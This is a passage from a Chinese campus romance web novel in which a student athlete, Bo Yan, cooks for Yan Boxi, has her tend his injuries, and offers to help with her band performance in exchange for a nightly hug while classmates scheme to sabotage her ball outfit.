颜帛夕身影刚消失在楼梯口,薄彦扔在沙发的手机震动。
他睇了眼刚被颜帛夕扔进垃圾桶的棉棒,接起来。
吴文宇的声音从听筒炸出:“昨天酒馆那猫找到了,就在阳台抓你那个,是酒馆老板的。”
“嗯。”薄彦还在看那根棉签。
“家养的猫,没什么病,不过你今天也去打过疫苗了,无所谓。”
“嗯。”
“你总嗯什么嗯,跟你打电话跟人机打电话一样,”吴文宇不满意,“还不如客服。”
“没什么事挂了,还有事。”
吴文宇吆喝:“你不是训练完了?还能有什么事。”
楼梯传来脚步声,薄彦不想再多重复:“挂了。”
吴文宇在对面诶了两声,换来挂断的机械提示音。
薄彦把手机扔在桌面。
颜帛夕从后走过来,递来创可贴:“给你,防水的,早晚换一次就可以。”
薄彦没接,只是脖子处挂伤的地方对着她:“看不到。”
颜帛夕走过去,从包装盒里拆出两个,帮他贴上。
“好了,”她嗓音清澈,接着又道,“真的抱歉。”
说完她抬眼,正好和薄彦对上视线。
他背靠沙发,目光如有实质,在她脸上落了几秒。
之后淡淡笑了一下,浓浓的散漫和不羁从他眉眼间弥散开:“那你说怎么办。”
“嗯?”
“光道歉没用。”他看着她道。
他说得太直白。
颜帛夕感到窘迫:“那我帮你……”
他没给她想举措的机会,收腿往前,手肘支在膝上,右手托腮,十足随性的姿态,眼神锁着她:“从明天开始帮我涂药。”
“什么?”颜帛夕下意识出声。
他还是望着她,目不转睛,无论嗓音还是眼神都有种蛊惑人心智的力量。
“赵姨不在,我自己看不到。”他瞧着她。
理由无懈可击。
“嗯,好吧。”颜帛夕答应。
她明显感觉到她说完这句,男生肩背松了下,有淡淡的舒爽从他间弥散开。
他起身,往厨房走,懒洋洋:“没吃晚饭?”
颜帛夕跟上去,不知道为什么话题跳到了这里:“对,睡了一天,刚刚才起床。”
说话间,她已经跟着薄彦走到了厨房。
他俯身从冰箱拿了块牛排出来,又拎了袋意面,侧头:“意面要吗?”
他一举一动都透着股懒散劲儿。
“不用……不要,什么?”她很懵。
她看着薄彦把她刚煎好的蛋移开,随意丢在流理台角落,然后牛排扔进微波炉解冻,煮锅加了水,意面拆袋放进去。
“面要硬要软?”
“要……”她终于明白薄彦好像在帮她煮饭,抬头摆手,“不用不用,我自己来就行。”
她侧眼看还在转的微波炉:“而且我也吃不完那么多。”
薄彦插着口袋等水煮开,闻声偏眸瞧了她一眼,若有似无地提了下唇,再看回煮锅,道了句:“你选一个,剩下的我吃。”
“嗯??”颜帛夕觉得自己今天震惊的次数有点太多了。
她不知道应该说什么,和薄彦一起盯着锅:“我真的不用……”
“站近点。”他打断她。
她站离他一米远,气味太淡了,他从头到脚都不舒服。
还是刚刚涂药的时候好。
他在心底淡淡嘶了一声,琢磨怎么能把她在身边捆久一点。
颜帛夕看他又看锅:“什么站近点?”
薄彦把锅柄推到她的方向:“站近点帮忙。”
颜帛夕哦了一声,连忙从他手里接过锅铲,把面搅散。
薄彦两手抄在口袋,往后退开半步,低眸看着她的发旋。
他承认他很变/态,对某些事物有病态的迷恋。
而且克制不住。
他右臂绕过她,从她另一边打开微波炉的门,拿出解冻好的牛排。<
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“你跟你们学院那几个干部有过节?”
颜帛夕右手的锅铲被薄彦重新拿过去。
他好像并不需要她做什么,只是单纯地让她站在他身边。
她摸了摸自己的头发:“对,清清和他们之间发生了一点事情。”
薄彦把面捞出来:“校新生会,他们帮你和李清清报了节目,还有新生会后的舞会,参与名单上也有你们的名字,但没有申请服装。”
“什么??”颜帛夕这次是真的震惊。
她放下手里的盘子。
薄彦:“刚吴文宇给我打电话,说在校办看到了你们学院提供的名单。”
A大的新生会更趋于文艺汇演,每院出两个节目,表演结束由观众和评审打分,和院每年的评优挂钩。
也就是说参与节目如果出现纰漏,后果非常严重。
刘泽文就是抓住这一点,不仅想让她们出糗,还想让她们被院里问责。
颜帛夕吸气:“节目报上了还能撤吗?”
薄彦依旧懒懒散散,一手抄口袋,一手翻牛排:“不能,今天截止最后一天。”
他看身旁女孩儿一眼:“你们被报的是乐队表演。”
也就是说除了现准备节目外,还要找人。
两个人组不成乐队。
几句话间,牛排已经煎好,被薄彦放进盘子。
模样一般,但闻起来很香。
突来噩耗,颜帛夕一筹莫展,注意力根本没在散发着香味的牛排和意面上。
她低头用手机给李清清发消息。
李清清:[?????]
李清清:[等下,我找人问问。]
两分钟后,李清清甩过来连续几条骂人的话。
李清清:[给我们报了一个西班牙歌曲的乐队表演。]
李清清:[刘泽文神经病吗???????]
李清清:[我能骂他吗,太恶心了,我从哪里找人??!!!!]
李清清:[还有新生会后的舞会,集体项目,需要舞伴。]
李清清:[我能不能骂人啊,我真的吐了。]
薄彦就站在颜帛夕身边,她屏幕每弹出一条信息,都堂而皇之地暴露在他眼下。
他从杯架上拿下两个杯子,倒水:“舞会不参与打分,但不能缺席,会扣学院积分。”
与其说是舞会,不如说是新生会谢幕表演。
偏眸扫了眼女孩儿犯愁的表情,薄彦把其中一杯水递给她,沉吟半晌,忽然道。
“舞伴不用是自己学院的人,也可以是别的学院。”
“真的吗?”颜帛夕脸上有一丝得救的表情。
本学院的人她真的不认识几个,开学至今,除薄彦外认识的唯二两个男生,一个是宋之霖,一个是学校救助站的师弟。
但都不是她那个学院的。
她终于有了点笑意:“所以说只要是学校的人就可以?我能随便找?”
薄彦喝了口水,淡淡:“嗯。”
颜帛夕攥着手机,左思右想,认真琢磨良久:“我找你们学院的人也可以吗?”
“嗯。”
“你认不认识宋之霖?”颜帛夕轻轻吸了口气,有点紧张,“你觉得我找他他会同意吗?”
又是许久沉默,薄彦端起杯子再喝水,隐在杯沿下的唇往上扯,凉凉地笑了下。
12.10.04症候群
无论是新生会还是舞会表演,颜帛夕都早有耳闻,只是没想过事情会落在自己身上。
离新生会还有二十天,舞会的曲子这两天就会公布,一支舞曲的练习至少需要一周,再加上彩排等各种事情,也就是说这几天一定要把舞伴确定下来。
颜帛夕一个脑袋两个大,先不说她自己会不会跳,光找人就是个麻烦事。
不能撤销报名,缺席就会扣全院积分,简直是赶鸭子上架把她架了起来。
再抬头,她还是不确定:“你觉得宋之霖会同意吗,学校里我也就只跟他熟了……”
而且他看起来比较好说话,人很温和,颜帛夕还想说。
垂眼瞧她的人终于是把刚拆开的意面酱料包扔在了流理台,貌似没再有做的打算。
他笑得冷冷淡淡,眼神没什么温度:“不熟,不了解。”
颜帛夕有点失望,但也不好表现出来。
她本来还想薄彦跟他熟的话,要不要托薄彦帮忙问一下,现在看来没可能了。
正叹气,面前人已经捡起水杯绕过她往厨房外走。
“薄彦?”她转身叫。
男生停住脚,黑色连帽卫衣,一手捏着玻璃杯,冷酷冷酷,跟画报似的。
看着她,像是在认真等下文。
颜帛夕愣了一瞬,之后指了指台面盘子里已经煎好的牛排和做了一半的意面:“你不吃了吗?不是说要一起吃?”
薄彦瞥了眼她指的东西,半秒后,眉梢吊着笑了一下,像是在好笑他在期待的东西。
半秒后,他轻声嗤笑,转身,慢悠悠又冷淡的口吻。
“不吃了,你自己吃吧。”
-
第二天上午上课,颜帛夕还在回忆昨晚。
她觉得薄彦有点奇怪。
有时候好得离谱,比如给她煎牛排煮意面,有时候又翻脸翻得奇快,昨晚最后不知道怎么了,说走就走,不带一丝留恋。
“阿颜。”李清清用笔点了点她摊开的课本。
颜帛夕转过去。
李清清不明所以地扫她的眼睛,帮她把书本翻到正确的那页:“你在想什么,我叫了你好几声。”
颜帛夕收拢思绪,看到前座有人转头看她们,之后再扭回去,耳语。
李清清也看到了,低头,装模作样地用笔点书页,小声:“联谊的事情传出来了,因为薄彦,大家对你有点好奇。”
“薄彦?”颜帛夕没反应过来。
李清清瞄了眼前方,靠她近了点:“就联谊,薄彦把你抱出来,又把你带走。”
颜帛夕想起来了:“所以呢?”
“所以有人在八卦你们的关系,虽然薄彦当时解释了帮忙送喝多的同学,但......”李清清笔尖划拉桌面,眨了眨眼,“一传十十传百嘛,而且薄彦在学校有点红你知道的。”
颜帛夕抬眸看了眼前面讲台的老师。
“不说这个了,你找宋之霖了吗?”李清清问。
颜帛夕收回视线,摇头:“还没有,我不知道怎么跟他说。”
李清清奇怪:“你怎么不找薄彦?”
颜帛夕“啊?”了一声,她从来没想过这个选项。
她总觉得薄彦不会同意干这种事,而且他太“红”了,这事情他参与,到时候新生会结束说不定又是一场“腥风血雨”。
刚上课前在教室门口遇到明闻婧,对方还冲她招手,像是要问什么。
颜帛夕摸了摸鼻尖,再次默默把薄彦从备选名单划掉。
还没等再想,放在外套口袋的手机震起来,她从口袋掏出来看了眼,跟李清清说了一声,猫腰起身,从阶梯教室的后门出去。
轻手轻脚合上门,远离教室几步才接起来:“喂?妈妈。”
林薇温声:“现在在上课吗?”
“对,在上思政。”
“在那边怎么样,最近忙没顾得上给你打电话。”林薇送她过来只留了一天就又回了内地。
颜帛夕手指抠着不知道谁贴在走廊栏杆的贴纸:“还好,段阿姨和薄叔叔都对我很好,只是他们不常回来,只有我和薄彦在家。”
“不要给人家添麻烦。”
“我知道。”
母女两个聊了几句,颜帛夕想起新生会:“对了妈妈,能帮我买两套礼服裙吗,我和朋友要参加学校的新生舞会。”
刘泽文没帮她们申请服装,她也不知道要到哪里买,只能求助林薇。
“新生舞会?”林薇的声音还是温和的,但明显比刚刚沉了点,“怎么参加那种东西?”
颜帛夕听到“那种东西”四个字皱眉:“是学校的活动,而且不是我要参加,是院里干部报上去的。”
“不要参加这种没用的东西,找院里领导撤销掉,男女生搂搂抱抱,不成样子。”
颜帛夕有点无奈:“没有搂搂抱抱,是正常交谊舞。”
林薇没再多话,只是重复:“听话,找老师或者辅导员取消。”
通话挂断,她背靠走廊栏杆,有点郁闷地低头抹了下屏幕。
想到了林薇会对这种东西排斥,但没想到会排斥到这种地步。
服装的问题不解决,她真的不知道和李清清穿什么去舞会。
正经的晚礼服要怎么买是个问题,总不能到时别人都穿得漂漂亮亮,她们两个穿个牛仔裤就去了。
日常的裙子穿过去也不像话。
站了一会儿,李清清也悄咪咪地从后门摸出来,对正打算跨过林薇联系林薇秘书的她摇手机:“刚宋之霖给我发消息,让咱们晚上去上课,你可以晚上当面跟他讲。”
颜帛夕收起手机,应声直起身:“哦哦,好的。”
-
薄彦今天训练一直有点心不在焉。
赵姨家人需要手术,她要临时回趟邻市,请了三天假,老宅还有另外的阿姨,段之玉问他用不用暂时调过来,他说不用。
至于理由,只有他自己知道。
因为肩伤,今天的核心训练他只做了八组,屈腿坐上训练室的软垫,摘了护腕扔在一侧地面。
教练从不远处走过来,递给他一瓶水,右手按了按他的肩:“今天不在状态?”
射击主要练的是手感,数以万计的端枪瞄准换来的成绩。
今天下午的训练,薄彦平均下来的总环数比平时低一点。
低得不多,但也确实少见。
他属于半路出家。
上学时成绩好,家里没有刻意培养他运动方面的天赋,十四岁接触步枪射击,高一在
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教练的劝说下才确定转职业,几年时间获得过世锦赛和国际射联世界杯等金牌,成绩可圈可点。
他拧上水瓶,往旁边丢开,指尖抹掉前额的汗,回答教练:“有点。”
昨晚因为颜帛夕,又没睡着。
也是绝了。
不过这话不能跟教练说。
教练确定完他肩膀的伤处,捏了两下他的肩颈,收手:“你后两个月还有比赛,自己注意调节心态。”
“有问题即时跟队医讲。”
薄彦点头。
教练拍了拍他的肩:“休息二十分钟,等会儿再做几组瞄准训练今天就结束。”
薄彦再颔首。
教练走后,他起身往窗边的方向去,还没走到,接到赵姨的电话。
“小彦,我可能要再晚一天回去,手术这边走不开。”
薄彦站在窗前,目光落在窗外一处树荫,港队的训练基地就在A大旁边,从他站的位置,能看到A大校园。
他视线所落的地方是中文系综合楼前。
他前倾身体,手肘支在窗框:“没事,您周五回来就行。”
周五,就是又多给赵姨放了两天假。
赵姨想了想:“那就你和小夕两个人在家方便吗?”
家里还有别的佣人,但住在偏楼,只负责打扫,不负责日常起居。
“有需要的话我让我妈从老宅调人。”薄彦回。
赵姨放下心:“那行,那我就再多留两天,对了,你上次问的事情我想起来了。”
“小夕小时候确实来过,但你那时候不在,你那会儿参加集训,在内地的淮南,小夕住过几天你的房间。”
“就是现在这个别墅,小夕本来住的房间面朝南,那几天下雨打雷她睡不好,你妈妈让我把你的卧室收拾了一下,让她睡了。”
他的房间确实是最靠北的一间。
薄彦稍稍眯眼,神情懒散:“是几年前您还记得吗?”
“七八年前,你高一寒假,”赵姨又道,“后来你回来她正好走,你们两个没见到。”
薄彦垂眸回忆了一会儿,片刻后笑了。
他记起了那个时间点,他那会儿刚转职业半年,寒假集训后,面临第一个世界性比赛,港队当时有人受伤,他替补上场。
港队那两年没出过什么成绩,队里对他的要求是一定要拿到名次。
第一次参加大赛,又被要求一定要拿奖,压力史无前例得大。
他集训的那一个月失眠非常严重,回家的当天精神状态非常不好,家里没人,他回房冲了个澡,直接倒头睡了。
后来再醒,段之玉跟他说他的房间睡过人,他昏昏沉沉,从床上起来才发现,床单被套都不是他常用的。
淡粉,像女孩儿用的颜色。
他右手两指轻轻点在窗柩,所以是因为这个他对她的味道格外迷恋?
有点离谱。
他手肘从窗框收回,换了个姿势:“好,我知道了。”
和赵姨挂断电话,他反身背靠窗台,低眸看了两眼手机,右手轻捏了两下后颈,调出颜帛夕的号码拨了过去。
迷恋的原因并不清楚,但现在一天不见她就浑身难受是真的。
而他并没有让自己难受的癖好。
13.10.05症候群
颜帛夕上完课从文林楼出来时,接到过一次薄彦的电话,再是现在,第二次。
两次通话的内容大差不差,就是跟她说让她在学校等着,他晚会儿过来,和她一起回去。
“在哪儿?”听筒里传来低低的男音,清清沉沉的,很好听,让人抵抗不了。
颜帛夕站在走廊,另一手托着手机下端,小心翼翼的神情,看了眼不远处的练习室:“音乐学院。”
薄彦想到什么,蹙眉:“架子鼓?”
颜帛夕再瞄了一眼没关严的门,从她的角度能看到练习室里面:“嗯,想练一会儿。”
薄彦慢腾腾地扯唇,手机拿离了一些,再放回来时语气不算好:“和你那个朋友,还有宋......”
“宋之霖。”她以为他忘了宋之霖的名字,好心接口。
本来是要上课,但和音乐社合作的老师今天有事,课临时取消。
不过她和李清清还是过来了,再过半个月就是新生会表演,熟悉曲目,还要练习,她恨不得这几天晚上住在音乐学院。
薄彦扫过路边的行道树,调整姿势,往车后座窝得更深了点:“我还有几分钟到学校。”
颜帛夕为难:“但我可能还要再练一会儿。”
她不想那么早回家。
“不然你直接回去?”她提议。
“我要回学校拿东西。”薄彦把她的话堵住。
颜帛夕计算时间,斟酌道:“但我可能还需要一个小时......曲子中间有一段我不熟,还要问一下......”
“我教你。”薄彦再次打断她的话。
他左手搭在膝盖,轻点了两下,有点烦躁。
从昨晚到现在,将近二十个小时没看到她,现在只是听声音,更不舒服。
偏偏对方不知道他的想法,回答什么还都慢吞吞的。
“嗯......?”颜帛夕意外,解释,“我是要学架子鼓,组乐队...”
薄彦往后靠,舒了一口气,嗓子发紧:“我知道,我教你。”
“架子鼓中学的时候学过三年,我还会低音贝斯。”
对面沉默。
薄彦眉心皱得更深,以为她还要用别的乐器,想了两秒,耐心不足:“我会钢琴,电子琴也可以,但很久没摸过......”
“谢谢你。”
对面人像是松了口气,语音染了笑,说得真诚。
“谢谢你薄彦,你帮了我好多。”
她嗓音清澈,放软声音说话时,有种清丽的甜感,像薄荷糖。
薄彦眉眼舒展了些,没再像刚刚那么皱着,隔窗看了眼快到的校门,懒懒嗯了声,重复先前的话:“我快到了。”
“等会儿去找你。”他说话总是带点漫不经心。
“嗯嗯,好的,我等你。”
十分钟后,他从正校门进A大,往东拐到音乐学院。
颜帛夕所在的音乐教室不在他进的那栋楼,通过两栋楼之间连接的走廊时,垂眼扫到她那间练习室。
窗户敞着,能听到里面的人说话。
房间里除了他们三个外,不远处离了几米,还有几人在练习。
两男两女,貌似也是为了新生会。
其中一个女生抬头看到他,戳了戳身边的人,几个人陆续看过来,再然后不知道谁先反应过来,他们看了看他,又接连扫了几眼斜前方的颜帛夕。
成绩好,长得帅,无论是打球还是音乐,抑或是现在的射击赛,他样样出挑,自小被注视惯了,没觉得怎么样。
忽略那几人的视线,径直瞧向另一侧的颜帛夕。
她背对窗户,正在跟宋之霖解释今晚早走的原因。
“对不起啊,今天就不跟你学了,麻烦你留下来教我和清清,耽误了你的时间,很对不起。”
一句话二十个字,光对不起说了两遍,特别有礼貌。
薄彦没再往前走,而是倚着栏杆看她。
她瘦得很匀称,白色毛衣裹着,像颗精致的棉花糖。
他手机压在栏杆,散漫地点着屏幕。
现在特别烦房间里那个姓宋的。
照颜帛夕往练习室跑的这个频率,一天有两个小时都跟他呆着,很烦,烦得不行。
还没等薄彦这个烦躁劲儿过,楼下练习室里的女孩儿又开口了,声音通过敞开的窗户,飘过来。
“还有,我有件事想拜托你。”
“新生会后的舞会,我能邀请你做舞伴吗?”
“我和清清被报了名,我在学校里不认识其他人,所以想请你帮忙......你不方便的话拒绝也没关系,但我真的很希望和你一起......”
还真的很希望和你一起。
薄彦转手机的动作停住,被气笑了。
没再多等,直接拨了她的电话,手机放在耳侧,注视那处。
两声“嘟——”之后,对面女生接起来。
为了避免自己的声音传过去,暴露位置,他往后站了几步:“我到了。”
颜帛夕跟宋之霖抱歉地示意,往旁边走,一手堵着耳朵,小声:“我还要一会儿。”
薄彦唇扯得更有嘲意。
还要一会儿干什么?邀请那个姓宋的跟她跳那个破舞?
“不行,”他慢声,“我没耐心,最烦等人。”
颜帛夕手机拿下来,看了眼屏幕,怀疑手机坏了,不然就是薄彦脑子有问题。
那她刚说让他先回家他为什么不走。
手机再放到耳边,认真解释:“我正在跟宋之霖说新生舞会的事情,说了一半。”
短暂的沉默。
对方问:“他同意了?”
“还没有。”颜帛夕直白回答。
“那有什么好问的。”对方比她更直白。
颜帛夕组织语言:“就是没同意我才要继续问一下呀......”
“他又不是明天就转学,明天问不行?”
颜帛夕一愣,好像是这个道理,但......
她察觉出薄彦的并不算好的情绪,舔了舔唇:“你很着急回家吗?”
“急,”薄彦后退两步,右臂伸长,搭在围栏,依旧瞧着窗户里的她,“急着回家涂药。”
颜帛夕想到自己昨晚答应帮他涂药,琢磨了两秒,还是觉得他腰腹那个刮痕没严重到现在立马就要涂的地步。
“很难受吗,我真的只需要几分钟......”
“难受,”对方要死不活的语气,“快死了。”
“......”
能怎么办,都是她喝多酒闹出来的事。
颜帛夕重重叹了口气:“我马上出去。”
薄彦懒声:“嗯。”
电话挂断,颜帛夕走回原处,跟李清清喝宋之霖说明情况,抓起包背上往外,路过宋之霖欠身,跟他示意了一下手机:“那师兄,我们电话联系。”
二楼的薄彦看到这幕,淡淡瞥开视线,想把她那破手机一起扔了。
两分钟后,颜帛夕从音乐楼出来,左右看了几眼,没找到薄彦的身影。
电话再打过去:“薄彦?我出来了。”
“车停在学校正门,你先过去。”刚吴文宇来电话,院里领导找他。
“我几分钟后到。”他说。
颜帛夕应了一声,打消折回去再跟宋之霖沟通的念头。
从学校到住的地方不过二十分钟。
家里负责打扫的佣人问需不需要他们来煮晚饭,薄彦回绝说不用。
佣人问这话时颜帛夕就站在他身后,动了动唇,没好意思说她需要。
本来以为晚饭就要自己做了,没想到被薄彦代劳。
她刚在楼上洗过澡,嫌麻烦,头发没吹干,发梢有一点湿,厨房背对她的人听到声响,回头扫了她一眼。
简单的白T,却仍能看出布料下的宽肩窄腰:“阳春面?”
颜帛夕意识到薄彦是在问自己,两步走上前,看到他从冰箱拿出赵姨留下的卤牛肉。
没听到女孩儿回答,他侧眸又看过来:“阳春面吃吗?”
她连忙点头:“我都行。”
男生淡淡应了一下,T恤左臂的袖管卷上去,单手端着盛好水的锅放在灶台上,开火,等水煮开,再下面。
他眉目间懒散困倦,做什么都随性又好看。
片刻,两碗“牛肉”阳春面被端上桌。
薄彦看到她在接热水,把刚从冰箱拿出的橙汁丢回去,拿了盒牛奶,扔进还盛有热水的煮锅:“喝牛奶?”
颜帛夕“诶?”了一声,点头:“好。”
她今天姨妈第一天,有点不舒服。
赵姨卤的牛肉味道很好,而意料之外的,薄彦的厨艺也不错。<
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p>颜帛夕筷子夹了两口,再次在心里由衷地感谢薄彦。
她抬眸看到坐她对面的人没动筷,好心询问:“你不吃吗?”
薄彦左手捏了捏后脖颈,眸光从她脸上扫过。
他不太饿,或者说是另外一种难耐的渴望压制了饥饿的感觉。
很想被她摸,摸哪里都可以,被捏被掐也都行。
躁动的因子抵着他的神经,他的状态有点不稳,很想被安抚,也只能是她安抚。
“喵”一声,不行从不知道什么地方钻出来,慢腾腾跳了两步,脑袋一搭,趴在他脚下。
他垂首撸了两把猫毛,依旧没有转好。
好不容易捱到她吃完饭,把碗筷全部收进厨房扔在一起。
等会儿会有人来打扫。
从矮脚柜拎出药箱,往餐厅的方向走。
颜帛夕盯着他手里的碘伏,其实真的很想问,必须要每天消毒吗。
薄彦貌似看出她的想法,笑了一声:“肩膀有伤,帮我缠个绷带。”
颜帛夕抬眼。
肩膀的伤又不是她弄的,为什么也要她来。
两人沉默地对了两秒视线,薄彦脚步没听停路过她,往楼梯去:“赵姨不在,我自己弄不了,只有你。”
等薄彦走到楼梯口,她终于是认命,从座位站起来。
如果说涂碘伏对她来说得心应手的话,缠绷带真的是个技术活。
她半跪在床沿,高了薄彦一点点,一手缠着绷带卷,从他的右肩和胸前绕过。
搭垂的长发落在男生半裸的上身。
十分钟后,她手指从薄彦身上离开,身体后撤,瞧着裹好的地方端详两秒:“好了。”
她从床上起身,把没用完的绷带重新卷成卷,放进药箱摆好。
薄彦敞腿坐在床边,右侧扔着他刚脱下来的T恤,大剌剌坐着,卧室灯昏黄的光线下,姿态和眉眼都痞得不行。
女孩儿放好绷带抬头的同时,他收回看她的视线。
从床头柜的拿过碘伏,轻旋瓶盖,眼皮半垂,却仍在注意她的气息。
还有几分钟,她就要从他的房间离开了。
今晚八成又要睡不着。
想到这里,他稍皱眉头,须臾眉心舒展,唇角又勾了弧度。
颜帛夕把药箱里的东西全部规整好,从半跪的姿势站起来,礼貌询问:“还有需要我帮忙的吗?”
薄彦把药箱勾过来,碘伏瓶放进空档:“乐队表演找到人了?”
颜帛夕站在床边,专注看男生往棉签袋里塞棉签,摇头:“还没有,清清在联系外校的朋友了......”
“新生会表演只能是A大的人。”他提醒。
他手指修长,捏着棉签袋封口,右指轻弹袋口,动作染点轻挑。
“啊?那我们只能再想想办法,组乐队最少要四个人,”她硬着头皮,“就算我和清清都上,也要再找两个才行......”
就算弹得不好也没关系,不能让节目开天窗。
几秒的安静。
薄彦把脚边的垃圾桶抵开:“我帮你。”
他抬头:“除我之外再帮你找两个人,架子鼓,贝斯和主唱,我都有认识的人。”
吴文宇一混子,学校里什么人都认识,打个电话过去,他能给你找出来三队。
颜帛夕没动,只是维持刚刚的表情看着他。
“不相信我?”他落眸提唇,声音落在橙黄色灯光里。
“不是。”她连忙摆手。
她只是有点惊讶。
虽然这么说不礼貌,但薄彦的气质......实在不像热心的人。
她咽嗓:“如果...能找到人当然好。”
薄彦散漫回声:“找不到,我就一个人顶三个用,不会让你的节目开天窗。”
如果说刚刚是惊讶,现在的颜帛夕就像是被吃了定心丸。
虽然薄彦看起来和热心不沾边,但只要是他说出的话,你都会莫名觉得他能办到。
他目光从她垂在一侧的手指划开,抬首,望向她。
“但我有条件。”
颜帛夕眼神顺着他抬头的动作落在他脸上,和他对视:“嗯?”
还是有点懵然。
“抱我一下,”他捞过一侧的T恤套上,重复,“从今天开始,直到新生会结束,每天晚上抱我一下。”
14.10.07症候群
他脚勾过垃圾桶,把用过的纸团扔进去:“训练压力,要人安慰。”
话一半真一半假,没说需要她摸,也没说她不碰马上就要死了。
薄彦半垂眼眸,提唇,为自己的不坦荡嘲弄般笑了下。
“但是……”颜帛夕还是觉得哪里怪怪的。
“那你就自己找人,”薄彦抬头,之后扫了眼腕上的表再看她,“离新生活还有十六天,你确定你找的到人?”
薄彦眉眼松散,慢慢悠悠,像是打趣:“不熟的人你也没办法强迫他每天训练,来两天不来了,你这节目不又不行了。”
颜帛夕闻言有点头痛地摸了摸鼻子。
薄彦说的她当然想到了,不然也不会到现在还没一点进展。
她和李清清认识的又符合条件的人本来就不多,不熟的不行,没责任感的不行,不愿意来的更不行。
拨来拨去算到最后,没找到一个能拜托的。
“想好了没,”薄彦再低头看表,“两分钟了。”
“想好了想好了。”
他语气冷淡,又有点吊儿郎当,颜帛夕怕他反悔。
她站在床前两米的地方,看薄彦举目和她对望。
橙黄色的光线散在两人之间。
她舔了舔唇:“今天开始?”
“嗯。”男生懒洋洋点头。
颜帛夕犹豫了一秒,缓缓抬臂,带些迟疑不定:“就……单纯的拥抱吗?”
真的很奇怪,为什么要拥抱?
薄彦认真扫过她的脸,单臂后支,靠得懒散,笑了下:“不然你还想干什么?”
怕薄彦误会,她赶忙摇头:“没有,就是拥抱,就是想拥抱。”
他颔首,下巴点身前的地,语气自然地像提出拥抱的是她:“那你过来。”
颜帛夕往前两步,脚尖抵到薄彦的脚尖。
薄彦没动,右手依旧撑在身后,仰头和她对视,嗓音低低哑哑:“抱抱我。”
颜帛夕仿似被蛊惑,弯身靠近,右手搭在他的背后,拢住他。
但只是很短的时间,她起身抽离,垂眸看他,表情还有点木愣:“好,好了吗?”
薄彦按在身旁的右手轻搓指尖,很想说没有,但对上女孩儿懵懂的目光,话到嘴边被咽了回去。
“嗯。”他懒懒应。
颜帛夕如释重负,退后两步。
气息从薄彦身前离开,他下意识轻皱眉,须臾松开。
颜帛夕没看到,但蹲下提起药箱时,还是问道:“你经常这样吗?”
“什么?”薄彦眸光淡淡。
“就是压力大之后需要……”她斟酌措辞,“需要别人安慰。”
薄彦唇角挂着浅浅的笑,应得懒散:“昂。”
他顺着胡编:“比赛压力大队友之间拍拍肩,回家父母抱抱不是很正常的事?”
颜帛夕拢好裙摆站起来,想到最近赵姨和薄父薄母都不在。
她右手提的药箱搭垂在身边:“那我先走了?”
薄彦视线还是没从她身上偏开:“明天下午六点我训练回来,家里三楼有琴房,你回来练。”
颜帛夕想到下午回来时自己说的明天还要去找宋之霖练习。
“好的,那我也早点回来。”她回。
男生点额,探手摸过床头的手机。
颜帛夕看他没有理自己的意思,转身推门走了出去。
房门嘭一下被关上,薄彦把切屏随便点的手机扔在床面。
扫了眼被带上的房门,片刻后扯唇轻笑,往后仰躺倒在床上,闭上了眼睛。
-
第二天下午下课,李清清跟颜帛夕从教室出来。
李清清晚上还有一节选修,颜帛夕没有。
她一面在背包里翻东西,一面往楼梯下走,问颜帛夕:“我要去食堂吃个饭,晚上还要去上赏析,你去哪儿,音乐社吗?”
颜帛夕抬手扶住李清清的手肘:“不了,我要回家,薄彦说教我架子鼓。”
“薄彦?”李清清惊讶完,想起来,“哦对,好像听说他会,但没见他参加过什么活动。”
颜帛夕嗯了一声:“他训练比较忙。”
她来的这段时间,薄彦几乎雷打不动早上七点出门。
李清清站稳:“你和薄彦真的不熟吗,感觉他对你挺好的呀。”
颜帛夕回想了这几天发生的事,实在摸不准薄彦的想法。
她抿了抿唇:“清清。”
李清清站直,帮她把吹过去的领子翻好,又拍掉她肩上的落叶:“怎么了?”
颜帛夕思索了两秒,摇摇头:“没事。”
仔细想,除了两次提出要抱抱比较突兀外,薄彦也没有什么不正常。
“没事,”她再次摇头,肯定刚刚的说辞,“没什么。”
李清清连哦了两声,再次帮颜帛夕整理衣服:“我朋友帮我找了一个艺术学院的贝斯手,人信得过,可以帮忙,就是时间上不好协调,新生会那会儿他可能要跟导师出差……对不起啊,都是我连累了你。”
颜帛夕摆手说没事,又说薄彦会帮忙找人。
两人往食堂的方向走,李清清要去的食堂和颜帛夕要去的东校门在一个方位。
“没关系。”她挽着李清清的手臂。
李清清是她在A大的第一个朋友,她很珍惜。
况且如果严格论起来,刘泽文他们才是过错方。
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“找人的事情你不用担心,薄彦也说了会帮我们。”
“啊?这么好吗?”李清清有点受宠若惊,瞧着颜帛夕喃喃,“我是沾了你的光吧…”
……
薄彦今天训练结束得早,回家的路上让司机绕了趟A大。
五点四十,车到A大东二门,停在路边树阴下。
A大下午最后一节课结束时间是六点,还有二十分钟。
他看了眼手机,再次倒回沙发靠坐,喉结深深滑动。
这么靠着坐了会儿,薄彦还是难受。
昨天那个拥抱太轻,靠着它支撑到现在,电量差不多要耗完。
他喉结再次滚了下,往右边侧身,身体对着窗户。
他闭眼自嘲地笑,琢磨这样好像不行,原以为抱完会好一点,没想到越接触他好像想要的越多。
真跟中毒了似的。
手机拿起,半眯眼,拇指戳在屏幕再给颜帛夕发了条催促的消息。
已经过了六点,他发过去的信息这姑娘还没回。
内心不禁轻啧,该不是他发的消息没看,又跑去找那个姓宋的了?
正琢磨在想,司机李叔扭过来说了句:“外面的人好像认识小夕。”
副驾驶的窗户没关严,站在路边的两人说话声传进了车里。
薄彦刚太难受,心思都在颜帛夕身上,没注意。
这会儿李叔提醒,他也听到了。
说话的两个人一个是刘泽文,还有一个是经常跟在他身边的混混。
“跟学校旁边几家租借衣服的都说好了,不会租给李清清和颜帛夕。”
刘泽文右手夹了支烟,拇指蹭着烟蒂:“你给他们钱了?”
“给了,”男生回,“而且咱们院之前一直在他们那里租衣服,我说如果他们做小单的话,以后学院的单子就不给他们做了。”
刘泽文吸了口烟,哼笑:“你不让她们租,她们就不能买了?”
“专业舞服,她们不知道从哪里买吧,而且买很贵,李清清还申着助学贷款,颜帛夕……”
男生仔细回忆了一下颜帛夕的穿着。
虽然女生长得好看,但衣服并没有明眼一看的大牌。
他肯定:“不好买,便宜好买的衣服一看就不行,还是出糗,好的都贵,还难订。”
其他申报舞服的人都是学校拨钱,统一租借。
没有申请舞服的基本都默认是家境殷实,自带服装能比学校租借的更好。
前年新生舞会有个小妹妹,自带的是某个大牌十几万的礼服裙。
“行,”刘泽文弹了下烟灰,“看她们自己的本事。”
有就穿,没有就出丑。
15.10.08症候群
薄彦坐直,拨了两下头发,腕骨带着的米白色皮绳往下褪了点,仔细听外面的人说话。
